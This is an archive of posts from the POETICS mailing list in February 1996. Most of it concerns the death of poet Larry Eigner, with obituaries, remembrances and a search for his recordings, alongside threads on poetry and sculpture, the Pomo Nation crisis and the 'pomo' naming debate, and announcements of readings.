Wed 7 Feb 1996

On Wed, 7 Feb 1996, Ron Silliman wrote:

> *Re your: "Hearing his reading of the work gave me a new sense of his use of line break and space -- not sure I can explain it, but I think*

> *I had been reading over the line breaks too quickly before"*
>
> *It takes some remembering, but I think it's probably easy to see those clusters of words about the page in such a way as to interpret them as airy, even wispy, and I think that's an error a lot of people do make in reading Eigner. The minute one realizes how fully he utilized his limited physical vocabularly in order simply to put word to page, the whole weight of movement shifts, and those poems never have that "light" feeling again. I cannot fathom exactly how strangers will read that work a century from now, but I assume it will be rather different.*

Dear Ron and others,

I never had the privilege of meeting Eigner or hearing him read. I want to thank you all for posting your remembrances. This is a moment when the POETICS list becomes a real community.

I'm wondering: Could we generate a bibliography of video and audio recordings of Eigner, and where they're available, that might be housed at the EPC? If it's true that Eigner will be features on USOP, great; but there must be other recordings at SFSU and elsewhere, no?

Speaking for myself, as one who came "from" MFA-establishment poetics and who is slowly learning the fullness of what's available, I would find such a list of enormous personal value.

Cheers,
David
~~~
~~~

[redacted]
To: Multiple recipients of list POETICS <[redacted]>

*~~~

> ** Ted Greenwald "Licorice Chronicles"*
> ** Paul Van Ostaijen "The First Book of Schmoll"*
> ** Dennis Phillips "Credence"*
> ** Lyn Hejinian "Writing Is an Aid To Memory"*
> ** Harvé Guibert "Ghost Image"*
> ** Louis-Ferdinand Céline "Dances without Music, without Dancers, without Anything"*
> ** Violet Kazue Matsuda de Cristoforo "May Skies: There's Always Tomorrow: A History and Anthology of Haiku in the World War II Internment Camps for Japanese-American Citizens "*
> ** John Wieners "The Journal of John Wieners: is / to be / called"*
> ** Jafal Toufic "Over-Sensitivity"*
> ** Douglas Messerli and Mac Wellman, ed. "From the Other Side of the Century II: A New American Drama 1960-1995 "*
> ** Matthew Maguire "Phaedra"*
> ** Valère Novarina "The Theater of Ears"*
>
> *In additon to the above books, we are offering a complete list of our titles in print, awards announcements, links, and an internet searchable ordering form.*
>
> *We will be constantly updating so please visit often.*
>
> *~~~

==========
====

At 10:38 PM 2/6/96 -0800, you wrote:
>I browsed around your website just now, and am EXTREMELY interested in
>purchasing Lyn Hejinian's book, "Writing is an Aid to Memory." HOwever,
>the ordering service at your website was inacessible, at least from my
>terminal. Could you please let me know what I need to do to purchase it.
>Could I have it mailed to me, and pay for it by check or credit card? I
>wish I could order it from a bookstore, but I attend school in a small
>California town, and the one bookstore in town is ostensibly unable to
>order from Sun & Moon. (I checked on ordering Sun & Moon book once
>before) Please get back to me when you can, and thank you for releasing
>info. on your website.
>
>NICOLE HOELLE
>

↑ Index

234. Mark Roberts
re Sun & Moon Website
Wed 7 Feb 1996

It looks like I stuffed up bad. I did not intend to post this message to AWOL subscribers at all at this stage or from this old address. I'm sorry if I have caused distress.

Mark

↑ Index

235. Peter Jaeger
Re: snakes and laokooners
Wed 7 Feb 1996

On Tue, 6 Feb 1996, Steve Carll wrote:

> At 10:03 AM 2/6/96 -0500, you wrote:
> >anybody know of any ties between poetry and sculpture lately?
> >or poetry and painting, for that matter?
> >poetry and rodeo?
> >poetry and dance, poetry and music, poetry and tv, these seem kind of
> >available now in a way that poetry and film, poetry and dogsledding, poetry
> >and critique may be less available than they used to be..
> >

> >Jordan
>
A couple of things come to mind--Ian Hamilton Finlay's Stonypath garden in Scotland (Finlay fought the scottish gov. for a tax exemption for one of the poem-sculptures on his land, which he argued was a religious edifice and hence exempt from taxes--he lost. Michael Archer writes about it in _Artforum_ 30, Nov 91).

The city of Toronto dedicated the back alley behind Coach House Press to bpNichol after his death. There is a Nichol poem literally embedded in the concrete floor of bpNichol Lane---"a line / alone / a lane . . . "

Last year Artspeak gallery in Vancouver presented a show on the book as object. I showed a hardcover book that was bolted closed with a found poem laminated on to the cover: "to write a book and revoke it is something else than not writing it at all . . . to write a book that does not claim importance for anybody is something else than leaving it unwritten."

--Peter Jaeger

↑ Index

236. Jerry Rothenberg
Re: Poetry & Sculpture, etc.
Wed 7 Feb 1996

Ian Finlay is probably the master figure who turned CONCRETE poetry into concrete sculptural form -- the garden & the public works as testimony.

Jerome Rothenberg

↑ Index

237. Jerry Rothenberg
Re: Eigner
Wed 7 Feb 1996

The first Eigner recording that I can recall was published (as both cassette & reel-to-reel by S-Press (Germany) in 1975. Title: AROUND NEW / SOUND DAILY / MEANS: A SELECTION OF POEMS (or: SELECTED POEMS. 27 poems are included, and the recording data (circumstances) read as follows: Recorded by Michael Koehler at Swampscott, Mass., on July 1st and 11th, 1974.

I assume that this is now out of print, but who knows.

Jerome Rothenberg

↑ Index

238. Alan Sondheim
Re: Poetry & Sculpture, etc.
Wed 7 Feb 1996

There are several figures in the artworld who come to mind here as well - Lawrence Weiner and Jenny Holzer - her Lustmord two years ago in Soho was nothing short of amazing, as was her use of Times Square movie marquees. Both took my breath away. I think she has the most astute approach to virtual language and its material productions of anyone I can think of.

(One might also add the works of people like On Kawara and Arakawa here, as well as some of the object-like qualities of Dieter Rot's books and other productions.)

Alan

(private note - Dick Higgins - I need your email address! Thanks.)

On Wed, 7 Feb 1996, Jerry Rothenberg wrote:

> *Ian Finlay is probably the master figure who turned CONCRETE poetry into concrete sculptural form -- the garden & the public works as testimony.*
>
> *Jerome Rothenberg*

(http://jefferson.village.virginia.edu/~spoons/internet_txt.html Images at http://www.cs.unca.edu/~davidson/pix/)

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239. Laura Moriarty
Re: Eigner
Wed 7 Feb 1996

> *On Wed, 7 Feb 1996, Ron Silliman wrote:*
>
> *Re your: "Hearing his reading of the work gave me a new sense of his use of line break and space -- not sure I can explain it, but I think I had been reading over the line breaks too quickly before"*
>
> *It takes some remembering, but I think it's probably easy to see those clusters of words about the page in such a way as to interpret them as airy, even wispy, and I think that's an error a lot of people do make in reading Eigner. The minute one realizes how fully he utilized his limited physical vocabularly in order simply to put word to page, the whole weight of movement shifts, and those poems never have that "light" feeling again. I cannot fathom exactly how strangers will read that work a century from now, but I assume it will be rather different.*

> *Dear Ron and others,*
>
> *I never had the privilege of meeting Eigner or hearing him read. I want to thank you all for posting your remembrances. This is a moment when the POETICS list becomes a real community.*
>
> *I'm wondering: Could we generate a bibliography of video and audio recordings of Eigner, and where they're available, that might be housed at the EPC? If it's true that Eigner will be features on USOP, great; but there must be other recordings at SFSU and elsewhere, no?*
>
> *Speaking for myself, as one who came "from" MFA-establishment poetics and who is slowly learning the fullness of what's available, I would find such a list of enormous personal value.*
>
> *Cheers,*
> *David*
> *~~~

240. Jonathan Brannen
Re: Bernadette Mayer Fan Club (charter member)
Wed 7 Feb 1996

Interestingly, _The Tennis Court Oath_ is the one book of his that Ashbery has disavowed. Mayer's work is wondrous. _Mid-Winter Day_ is a personal favorite, though others are as good.

Jonathan

> *The relationship between Langpo and Bernadette Mayer's work is, as Charles B and Chris S both note, very much there. As I dredge into my memory of what happened, at least as perceived in NYC when L=A=N=G=U=A=G=E first appeared, langpo appeared as a reaction or response to the vulgar zen/"no-nothing bohemianism" of second/third/4th gen ny school then predominant downtown. Bernadette was/had been a visible exception to an apparent anti-intellectualism. But her writing was also very much a part of and accessible within that other tradition, which could be part of why she might want to draw distinctions between her work and langpo. Alice Notley might be another example.*
>
> *But why should Sandra Gilbert distinguish between Bruce Andrews and John Ashbery (esp. THE TENNIS COURT OATH). Isn't the writing equally programmatic (or not)? Or, between Bob Grenier and Larry Fagin? I don't think of langpo as a movement like surrealism where individuals are constantly being thrown out and readmitted after self-criticism. Its more a way of categorizing or approaching a range of writing that loosely shares some general principles/points of view.*
>
> *Tho I admit my standing for adjudicating these questions might be less than authoritative.*

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241. Jonathan Brannen
Larry Eigner
Wed 7 Feb 1996

I open the door not the window

so the air beyond glass

and somehow the stars

invisible now

Larry Eigner
(from _now there's/a morning/hulk of sky_)

I am saddened to learn that Larry Eigner died. His work was important to us all.

Jonathan Brannen

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242. Jack Mahan
fearful symmetry
Wed 7 Feb 1996

"The Pomo Nation declared a state of emergency on January 25, 1996..."
had to pull over turn
off the engine

(Pomos: 175 Poetics: 310+)

'its getting critical now, we can't get any services, could really use powdered milk, you see, we have like, a lot of children under two, and pampers too you know....'

– – –

Traditionalists v. Non-Traditionalists gambling sovereign alcohol
land vandalism arson murder
'no it's been totally mis-represented, that non-natives will be shot...'
'no, we've got the casino operational again."

Sher|iff
stopping fire and ambulance service too dangerous
Twenty eight squad cars for one man

'they arrested our whole tribe' * * 'if it was like a white
community we'd all be
hero's or something'

– – –

'anything, food, clothing, heavy trucks, tools, wood, nails... 'no, you never know where the money is going to end up

'but mostly prayers you know... we've always been a very spiritual people... always kept performing the traditions... lots of visitors you know... and if you keep us in your mind, in your spirit, that's especially going to help... or you can even call or write, anything.'

– – –

Interview with Jim Brown of the Pomo Nation aired 2/7/96 12:00-1:00 PM PST on KAOS radio, The Evergreen State College, Olympia WA [redacted]

c/o Jim Brown
Elim Colony
PO Box 610
Clearlake Oaks CA 95423

Jim Brown home phone [redacted]

_ _ _

Fuck, kids... sorry...

but i do gotta take some gd courage from Jim's understressing the value of keeping his people in mind, in spirit, in prayer: I can't not, can you?

no, not feel-good bs... Courage.

(i wish this didn't have to be my first post.)

Courage,
jack

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243. Colleen Lookingbill
Canessa March readings
Thu 8 Feb 1996

Two readings in March:

Sunday March 10 at 3:00 - Leslie Scalapino and Avery Burns

Saturday March 23 at 3:00 - Albert Mobilio and Cole Swenson

Please come and bring all your friends...

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244. Ron Silliman
Larry Eigner
Thu 8 Feb 1996

This appeared in the SF Chronicle on February 5th. In spite of the byline, it would appear to be essentially an abbreviated version of a draft originally done by Jack Foley. ----------

OBITUARY -- Lawrence Joel Eigner
Stephen Schwartz

A funeral will be held tomorrow for Lawrence Joel (Larry) Eigner, a leading American modernist poet, who died of pneumonia Saturday at Alta Bates Hospital in Berkeley. He was 68.

Mr. Eigner was born in Swampscott, Mass., and suffered a birth injury that left him non-ambulatory with cerebral palsy throughout his life. He was educated at home and took correspondence courses with the University of Chicago.

In 1949, Mr. Eigner first heard the poet and editor Cid Corman reading William Butler Yeats on the radio and began a correspondence with him that brought Mr. Eigner's work to the attention of the poetry scene of the time. ``The ice broke considerably,'' Mr. Eigner noted modestly.

Mr. Eigner became associated with the ``Black Mountain poets,'' a group that included the late Robert Duncan, Charles Olson, Robert Creeley, and Denise Levertov. These writers published in Black Mountain Review, printed at Black Mountain College, a small experimental institution in North Carolina, and in Corman's magazine, Origin.

``From the Sustaining Air,'' Mr. Eigner's first mature book of poems, was issued by Creeley's Divers Press in 1953. The author was praised by the poet William Carlos Williams for his ``perfect ear,'' and as a ``new and outstanding writer.'' Williams commented of that book, ``It's strange how old fashioned he makes much of the work of the past appear.''

Mr. Eigner's work was included in the landmark anthology, ``The New American Poetry,'' published in 1960 by Donald M. Allen. Mr. Eigner went on to publish numerous other books, including ``Selected Poems,'' in 1972, edited by Samuel Charters and Andrea Wyatt, and ``Areas Lights Heights, Selected Writings 1954-1989,'' edited by Benjamin Friedlander and printed in 1989.

In 1983 the San Francisco State University Poetry Prize was awarded to Mr. Eigner for ``Waters/Places/A Time,'' edited by Robert Grenier.

A 1986 anthology of language poetry, ``In the American Tree,'' edited by Ronald Silliman, was dedicated to Mr. Eigner.

He was the subject of a 1973 film with Allen Ginsberg, ``Getting It Together.''

Mr. Eigner is survived by his brothers Richard, of Berkeley, and Joseph, of St. Louis.

A funeral will be held at 2 p.m. tomorrow at Rolling Hills Memorial Park (Tel Shalom section) near the Interstate 80 intersection with Hilltop Drive in Richmond.

Memorial contributions are requested for KPFA-FM, 1929 Martin Luther King Jr. Way, Berkeley 94704.

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245. **Gabrielle Welford**
Re: fearful symmetry
Thu 8 Feb 1996

I want to thank Jack Mangan for his first post. Thankyouthankyouthankyou Jack Mangan. Gabrielle

↑ Index

246. **Aldon L. Nielsen**
Re: Eigner recordings
Thu 8 Feb 1996

I seem to remember the Berkeley organizers videotaping the Eigner tribute readings (but maybe I just remember seeing Kush there) -- perhaps someone from among the readers will recall, since they all were busied with the signing of varied forms prior to the affair. I made a good audio tape of the readings for the radio program I operated in those days, but of course the tape is in San Jose and I am in L.A. -- Once I retireve the tape (perhaps late Spring), I'd be hap[py to put a copy on deposit at the Buffalo collection. Since I had permission for the radio taping, I think it's O.K. to deposit the tape as a record of that event, though circulation beyond that would require further permissions from the U.C. Berkeley organizers. Point is, that marathon session of tribute readings followed by Eigner himself was preserved.

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247. **Maria Damon**
Re: fearful symmetry/Pomo revisited
Thu 8 Feb 1996

thank you so much, jack, for pointing out in a very immediate and timely way that Pomos are not to be facilely compared to the Greeks, Romans, Turks or English, who were imperialists and colonizers. With all due respect to language-supremacists, let's get real for a minute, and not indulge our philosophies glibly at the expense of impoverished "children under two," whether or not they have, in our grandiose opinions, "subject positions."

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248. **Charles Bernstein**

Jack Foley on Larry Eigner

Thu 8 Feb 1996

Jack Foley has given me permission to forward this letter to the Poetics list. I had sent him the comments on Larry Eigner I posted to the list a few days ago.

---------- Forwarded message ----------
Date: Tue, 06 Feb 1996 03:19:16 -0500
From: [redacted]
Subject: larry eigner

Dear Charles,

Thank you for your touching, eloquent remarks about Larry. As you suggested, I'll email my press release and also fax it to you.

I've been so busy, partly with trying to spread the news about Larry and partly with other things (had to record radio interviews with Adrienne Rich and Jerry Rothenberg), that I've been barely able to put my thoughts together. Larry had been in the hospital for a week before his death, comatose. This morning, quite early, both Michael McClure and my son Sean phoned me to tell me they'd heard of Larry's death and funeral arrangements on NPR. That was exactly the kind of thing Larry would do--phone me at an hour when no one else would phone me to tell about something he'd heard on the radio. He's been my friend for ten years--I'd see him once a week and hear from him on the phone quite often. Our birthdays were two days apart--we had a joint party once. He wrote a preface to my first book, LETTERS/LIGHTS--WORDS FOR ADELLE, the only preface he wrote to anyone's book. (Except for the few remarks he made at the beginning of Ron Silliman's CROW. I had asked Larry for a blurb. He responded with a preface.) My current book, EXILES, was at his bedside during the last conscious week of his life. His voice on a message machine was something to hear. He once left a message on Michael McClure's machine. Michael couldn't make heads nor tails of it, but I was able to catch what Larry was saying. Larry was not easy to be friends with. The pattern tended to be for people to visit him for a while, make some effort to understand his speech, and then to drift away. I was able to stay friends partly because I didn't live with him and partly because I understood his speech as well as anyone. This was more something I willed than something I learned. I was running a poetry series in Berkeley and I admired Larry's work and wanted him to read in the series. Barry Watten gave me Larry's phone number, not his address, only his phone number. I've never known whether this was some sort of joke on Barry's part, since he certainly had his address as well as his phone number. I phoned and Larry answered, saying something like "UNGHHHHH." I had known that Larry was disabled but hadn't realized until that moment that the disability

extended to his speech. I simply decided I would understand Larry. There is no other way to put it. By the time the conversation was over, Larry had given me his address and directions to his house, and we had agreed on a date when he was to read. Kathleen Frumkin told me later that she had been listening on an extension phone and had been ready to help me out if I needed it. She never said anything because I seemed to be managing. You write, "His will to think was unsuppressible." Yes, but so was his will to speak--to speak in any manner he could. You've been with Larry and know how he would talk all the time. "To break out with a man's cry," if I'm quoting correctly. His writing, with all its silences, necessarily partook of that urge towards talk. People complained of it--Bob and others accused him of "monologuing." Yet there it was, at his very center, controlled in certain ways but in others not. Hard to think of him silent.

Here is the piece I wrote at the request of the Eigner family:

LARRY EIGNER: 1927-1996

Distinguished American poet and writer Lawrence Joel (Larry) Eigner died Saturday February 3rd of pneumonia at Alta Bates Hospital in Berkeley. Eigner was 68 and is survived by two brothers, Richard, who lives in Berkeley, and Joseph, who lives in Saint Louis, Missouri.

Born August 7, 1927, in Swampscott, Massachusetts, on the North Shore of Boston, Eigner got cerebral palsy as a result of a birth injury. Though he remained "non-ambulatory" throughout his life, he recalled that his mother, Bessie Eigner, encouraged him to develop a "work ethic," and his schooling was conducted at home through Swampscott High School. Later, seven correspondence courses from the University of Chicago gave him "a toe-hold of application and hope." Curiosity, he claimed, was always an important factor, "my eyes still big for my head, most things...always tantalizing beyond or almost beyond sight and hearing, out of reach."

In 1949 Eigner "bumped into [poet] Cid Corman reading Yeats, on the radio" and wrote a letter disagreeing with Corman's non-declamatory way of reciting. "This began a correspondence in which I got introduced to things, and the ice broke considerably." Donald Allen's landmark 1960 anthology, THE NEW AMERICAN POETRY, includes Eigner's exquisite, often enigmatic verse in the section devoted to "The Black Mountain Poets," a group of writers publishing in THE BLACK MOUNTAIN REVIEW, an experimental magazine printed by Black Mountain College in North Carolina. Many of these poets had also appeared in Corman's magazine, ORIGIN. Among the poets associated with this group were Charles Olson, Robert Duncan, Denise Levertov, and Robert Creeley, whose Divers Press published Eigner's first mature book, FROM THE SUSTAINING AIR, in 1953. After reading that book, William Carlos Williams remarked on

Eigner's "perfect ear" and added, "It's strange how oldfashioned he makes much of the work of the past appear. But it is always so with every new and outstanding writer."

Eigner's many books, all of them published through small presses, include: ON MY EYES (1960, edited by Denise Levertov); ANOTHER TIME IN FRAGMENTS (1967); SELECTED POEMS (1972, edited by Samuel Charters and Andrea Wyatt); THINGS STIRRING TOGETHER OR FAR AWAY (1974); COUNTRY / HARBOR / QUIET / ACT / AROUND (1978, selected prose edited by Barrett Watten), and WATERS / PLACES / A TIME (edited by Robert Grenier, the book was co-winner of the San Francisco State Poetry Award in 1983). AREAS LIGHTS HEIGHTS, SELECTED WRITINGS 1954-1989, edited by Benjamin Friedlander, appeared from Roof Books in 1989. Eigner's current book of poetry, again edited by Grenier, WINDOWS WALLS YARD WAYS, appeared in 1994 from Black Sparrow Press, publisher of many of his titles. Another volume of poetry edited by Grenier, READINESS / ENOUGH / DEPENDS / ON, is forthcoming from Sun & Moon Press. In 1967 Toad Press published a second, expanded edition of FROM THE SUSTAINING AIR, and in 1988 The Coincidence Press reprinted the original edition. Ron Silliman's 1986 anthology of L=A=N=G=U=A=G=E poetry, IN THE AMERICAN TREE, was dedicated to Larry Eigner. A short "Autobiography" is forthcoming from Gale Research, Inc. in Detroit. In Eigner's poems, themes of ecology and explorations of his Jewish heritage exist side by side with the most advanced experimental techniques and deep, deceptively simple, sensuous evocations of the world around him. "Parodying Socrates a little," he wrote, "you might say I know enough to feel naive."

In August, 1978, a few months after his father's death, Eigner relocated to Berkeley, CA, where his brother Richard was residing and where he lived till his death. Many young poets visited him there, and he carried on an active correspondence with poets throughout the world. The door to his home was frequently unlocked. As a regular at Jack Foley's Larry Blake's reading series in Berkeley, Eigner became a familiar figure to the Bay Area poetry scene. Despite the difficulty many people had in understanding his speech, he gave many readings of his poetry, often in the company of Foley.

Eigner was also something of a media figure. In 1973, Leonard Henny and Jan Boon made GETTING IT TOGETHER, a documentary film about Eigner with poetry readings by Allen Ginsberg. In August, 1994, Foley broadcast an hour-long interview with Eigner on KPFA radio. THE UNITED STATES OF POETRY, a forthcoming series made for public television by Bob Holman, has a segment featuring Eigner. In the summer of 1993, at the suggestion of Berkeley poet Lyn Hejinian, the UC Berkeley University Art Museum paid tribute to Eigner with a special MATRIX exhibition. His poem, "again dawn," from ANOTHER

TIME IN FRAGMENTS, was inscribed on the building's facade. A special poetry reading at which Eigner appeared was held to commemorate the event. Eigner's last public appearance was at a tribute to Gertrude Stein which Hejinian presented at New College of California in November, 1995.

Eigner's innovative poetry was widely admired by poets of very different persuasions. The poets to whom he returned again and again were Hart Crane, William Carlos Williams, and Charles Olson. Denise Levertov wrote, "More than almost any poet I can think of, he demands a suppleness, an imaginative agility, a willingness and ability to leap with him from image to image...." Robert Duncan asserted that Eigner had produced "a new development of Williams's line: his phrasings are not broken off in an abrupt juncture but hover, having a margin of their own--stanzaic phrasings--suspended in their own time within the time of the poem."

Funeral services will take place on Tuesday, at 2 p.m., at The Rolling Hills Memorial Park (Tel Shalom section), Richmond, Interstate 80 at Hilltop Drive. Eigner's family requests that the public and freinds not send flowers. A contribution can be made in Larry Eigner's name to KPFA-FM, 1929 Martin Luther King, Jr. Way, Berkeley, CA 94704.

Jack

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249. **Eryque Gleason**
Re: fearful symmetry/Pomo revisited
Thu 8 Feb 1996

Maria Damon wrote a while ago:

> *thank you so much, jack, for pointing out in a very immediate and timely way that Pomos are not to be facilely compared to the Greeks, Romans, Turks or English, who were imperialists and colonizers. With all due respect to language-supremacists, let's get real for a minute, and not indulge our philosophies glibly at the expense of impoverished "children under two," whether or not they have, in our grandiose opinions, "subject positions."*

yay maria! my sentients exactly!

eryque

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250. **Eryque Gleason**
a star is born
Thu 8 Feb 1996

---

seems like we've spent the last several months anouncing the deaths of poets.

wouldn't it be groovy if we could start announing more BIRTHS of poets?

happy holidays,
eryque

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251. **Joe Amato**
Re: fearful symmetry/Pomo revisited
Thu 8 Feb 1996

---

sometimes it's difficult to know whether to post or no, given the sorts of intricacies and tensions that can develop in these spaces... anyway, this is simply to second, or third, or fourth jack mahan's motion to consider the pomo/Pomo issue in light of current realities experienced by those folks...

thanx jack, and as far as i'm concerned, that was a goddamn good "first post"...

joe

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252. **Janet Hoelle**
Re: POET'S BIRTHDAYS
Thu 8 Feb 1996

Today is John Ruskin's birthday and tomorrow is the day that Rilke gave birth to the last ten elegies, in the Duino series, after a 10 year spell of (Duino) muselessness.

NICOLE HOELLE

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253. **Colleen Lookingbill**
Re: Canessa March readings
Thu 8 Feb 1996

Pat and the list - sorry for the lack of info - presumptuous to think that everyone knows - Canessa Park Reading and Talk Series is a reading series in San Francisco mostly devoted to "experimental" poetry. The location is 708 Montgomery St. in an art gallery/architectural firm. The usual pattern is Sunday afternoon at 3:00, but the second reading of March is on a Saturday, because of a conflict with another reading. My husband (Jordon Zorker) and I have curated the series for a couple of years, sometimes with the help of other poets/writers. We serve tea and cookies and the admission price just went up to $5.OO. Usually two readers perform for about half an hour each. I have heard some of the best poetry and writing in the country in the years that the series

has been around (more than 10, but not sure how long really.) Laura Moriarity and Spencer Selby did the series before me and Jordon. Now you have more information than you probably ever wanted!

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254. **ryan johnson**
Re: Pomo ergo sum
Thu 8 Feb 1996

(especially to Joe Amato, but all else, too)

Pretty sure I'll sound like a real dickwad for saying some of the stuff I want to on this continually intriguing subject, especially after Jack's very pertinent 'real world' update and its enormous popularity.

But anyway.

It occurs to me that Wittgenstein may be pertinent to this whole discussion of the 'pomo/Pomo' issue (and I credit Marjorie for indirectly illuminating my ideas here). Witt. has the basic idea that the operations of language can be seen as relatively concrete--or perhaps I should say discrete--when examined in the particular contexts or, shall we say, communities in which the occur. While some thinking floating around now seems typically to relate this idea to literary language and poetics (or in any case that seems to be Marjorie's interest), it occurred to me while all this was being dicussed that Witt's. ideas may have some relevance to 'the social' or 'material culture' or what have you. In *this* particular language community, the term pomo was evidently at some point instantiated as a useful and shall we say fully referential term among its users (though the stability of the referent itself is obviously in dispute and should be). In a newspaper article or more explicitly social/public community of language, the term Pomo clearly does mean something else, enjoys some pretty solid referentiality, etc.--it 'means.' So what I'm thinking is that if a member of the P{omo social group happened upon this language community s/he (or ze, or e, etc.) would probably catch on pretty quick, to the extent that s/he would understand that a different 'language game,' to use Witt's own term, was operating--though I wouldn't necessarily argue that s/he still wouldn't be affected by this alternative usage, I do think it likely s/he would understand it as a *different* one. And all this may point to a way that in some way marxism and critical perspectives like it (institution-study, structure-study) may not be the only avenues of discussion. And of course I'm only refering to academic or more likely pseudo- academic modes of thinking, but they're the ones I'm stuck in at the moment. I should emphasize that the things I'm saying aren't really meant to comment on the very real and pressing problems of the Pomo group, only that there are a lot of different ways for discussion to

continue. And with all those disclaimers, I probably still sound like an insensitive jerk, but I'll let that risk stand for now.

Thanks, Ryan

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255. Eryque Gleason
Re: fearful symmetry/Pomo revisited
Thu 8 Feb 1996

> *sometimes it's difficult to know whether to post or no, given the sorts of intricacies and tensions that can develop in these spaces... anyway, this is simply to second, or third, or fourth jack mahan's motion to consider the pomo/Pomo issue in light of current realities experienced by those folks...*
>
> *thanx jack, and as far as i'm concerned, that was a goddamn good "first post"...*
>
> *joe*

yay joe too!

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256. Eryque Gleason
Re: POET'S BIRTHDAYS
Thu 8 Feb 1996

> *Today is John Ruskin's birthday and tomorrow is the day that Rilke gave birth to the last ten elegies, in the Duino series, after a 10 year spell of (Duino) muselessness.*
>
> *NICOLE HOELLE*

mmm, not quite what i was getting at, but it'll do before we manage to look into the future and figure out what's gonna be who.

mebbe we should all go down to the local infant ward, pick a likely one from all the gurling faces and say "hey, kid, you're a poet"

eryque

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257. James Perez
Re: fearful symmetry/Pomo revisited
Fri 9 Feb 1996

---

md says (sorry no good reader, this is from memory)...
English, Turks, Greeks, etc were imperialists and colonizers after all...

this kind of comment tends to get me to thinking: it's very reductive and very incorrect. To state the obvious, the majority of English, Greeks and Turks were not imperialists or colonizers, they were normal people, and quite a few of them oppressed, below the poverty line, disenfranchised, etc. and yet still English, Greek or Turkish. Do you see what I'm saying? All too quickly we blame an entire people or race or gender for something done by a minority within the group. This seems so obvious to me that I have an eerie feeling I'm missing the entire point, you know?

James Perez

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258. Janet Hoelle
Re: POET'S BIRTHDAYS
Fri 9 Feb 1996

Dear Eryque,

I guess I was just looking for any excuse to spread that info. accross the e-waves, or any place for that matter, particularly Rilke bit, as I have been re-reading Rilke's elegies lately, and also I have this Book of Days for the Literary Year and turning to it this week I discovered that tomorrow's the day was the day, is the day, will be the day for the final break-out of the Duino flood. AH!

On Thu, 8 Feb 1996, Eryque Gleason wrote:

> *Today is John Ruskin's birthday and tomorrow is the day that Rilke gave birth to the last ten elegies, in the Duino series, after a 10 year spell of (Duino) muselessness.*
>
> *NICOLE HOELLE*
>
> *mmm, not quite what i was getting at, but it'll do before we manage to look into the future and figure out what's gonna be who.*
>
> *mebbe we should all go down to the local infant ward, pick a likely one from all the gurling faces and say "hey, kid, you're a poet"*

> *eryque*

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259. **Kevin Killian**
Re: POET'S BIRTHDAYS
Fri 9 Feb 1996

At 11:54 PM 2/8/96, Eryque Gleason wrote:

> *mmm, not quite what i was getting at, but it'll do before we manage to look into the future and figure out what's gonna be who.*
>
> *mebbe we should all go down to the local infant ward, pick a likely one from all the gurling faces and say "hey, kid, you're a poet"*

Eryque,

Perhaps you should rent _Little Buddha_ to get some pointers.

x,
Dodie

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260. **Loss Glazier**
Re: Eigner
Fri 9 Feb 1996

> *Title: AROUND NEW / SOUND*
> *DAILY / MEANS: A SELECTION OF POEMS (or: SELECTED POEMS*

Any chance anyone on the list has a copy of this they might be willing to dub? Or know where I might acquire this? ---- Please contact me by direct mail. Thanks!

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261. **Emily Lloyd**
not a dickwad
Fri 9 Feb 1996

While I see Maria's (and others) point, I also see Ryan's. But what really frustrates me about this discussion is that it's couched entirely in impractical space. Bringing out, it seems, the pompous intellectual in all of us. Who among ye has contacted Jim Brown (thanks to Jack for the address) and offered tangible support (powdered milk, pampers, what-have-you) to the Pomos? A people in lack of these is is probably not in the luxurious frame of mind necessary to sitting around arguing/caring that their phonemes refer to

something else in a different context. While examining (and perhaps even changing) our use of language is important, it doesn't absolve us of deeper obligations. Put your money where there mouths are.

emily

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262. **Joe Amato**
pomo/Pomo etc...
Fri 9 Feb 1996

---

ryan, i think i understand your use of wittgenstein, and find value in considering his remarks re language games... though i have to say that wittgenstein's stance in _phil invest_ is pretty fuzzy in many ways (i see the latter text primarily as a heuristic)... still it's possible that a pomo native would enter this list and not know what in hell we're talking about... sometimes *i* don't know what in hell we're talking about... and of the 375 subscribers here, it's a fair wager that a number never heard pomo used with *either* denotation...

and may i remind folks that there may be something like 1000 pomo natives (from what i've been able to ascertain), and that there may be something like a few thousand, if that many, folks on this planet who regularly use pomo as an abbrev. postmodern... so that the various poets and scholars and publishers on this list *could* make a very real difference, usage-wise...

(if i may) the problem is not philosophical... or, i'm choosing not to theorize it according to the dictates/nuances of that discipline, or of wittgenstein for that matter... there are times i long for a spiritual response to matters material, and vice versa... here it seems to me that what some of us have been asking for is some recognition of the possible material as well as spiritual damage in coining new terms, uhm, helter-skelter... that is, that we try to be as generous as possible in working out our semantic/pragmatic fields, the field of possibilities that we refer to as "discourse"...

i mean, for me, generosity is a privilege, presumes certain responsibilities (recall that elite/elitist thread)... means we have to listen, closely... so, and not to sound in the least oracular about it, how to listen?...

also, and i s'pose this is in response to james perez's post, it's one thing to observe that there are "normal" greek, american, or turkish folks and quite another to suggest that the greek, american, or turkish governments have acted or continue to act in imperialist ways... one of the more obvious abuses of national 'sovereignity' of which i'm aware is the current greek-turkish dispute, underwrit as i see it by turkey's continued genocide of the kurds... it seems to me that turkey has been consistently in the wrong here, both wrt to the greeks,

the kurds, and the cypriots... and consistently backed by *US* here in the u.s. (formally now) b/c of turkey's proximity to the middle east (incl. of course iraq)... and i see no harm in calling everybody's attention to turkish/u.s. hegemonies in this regard... though of course this ain't what i normally do here on poetics, so apologies for this wee bit of politicking...

best,

joe

↑ Index

263. **James Sherry**
Eigner
Fri 9 Feb 1996

Roof published Eigner's essays, edited by Ben Friedlander, in 1989. I would like to make interested readers of the list aware of the book and sell it for $10 including postage from:
Segue Foundation
303 E. 8th St.
NYC 10009

I was always amazed at how a person with such vitality of mind could tolerate such a physical situation. Larry must have had unimaginable control of himself to withstand the intensity of his thoughts. Eigner's writing invokes an inner life without trivializing it, a life of the mind without relying on it, and continuing optimism in the face of human fragility. He ended "Responsibility is to keep the ability to respond" with a poem about his uncle:

the typewriter
of a man
recently dead
what spirits
in our heads
all we
depend on

↑ Index

264. **Chris Stroffolino**
Re: Eigner
Fri 9 Feb 1996

To tie a couple of threads together
(Erique's----let's focus on births)
(Emily's---put your money where your mouth is)

(James'---Buy Eigner's book)
Maybe James could donate the proceeds from the book sold to
A United C.P. center--or set up some fund specifically in Eigner's name
for poets with C.P.? cs

↑ Index

265. Alan Golding
Stein
Fri 9 Feb 1996

Associate Professor of English, U. of Louisville
Phone: [redacted]; e-mail: [redacted]

Does anyone know any good stuff on Stein's composing process for *Tender Buttons*--sequence of writing, how long it took, amount of revision, that sort of thing?

Thanks. Back-channel is fine, or front- if you think this might be of general interest to the list.

Alan

↑ Index

266. Jeff Hansen
poetics of quotidian
Fri 9 Feb 1996

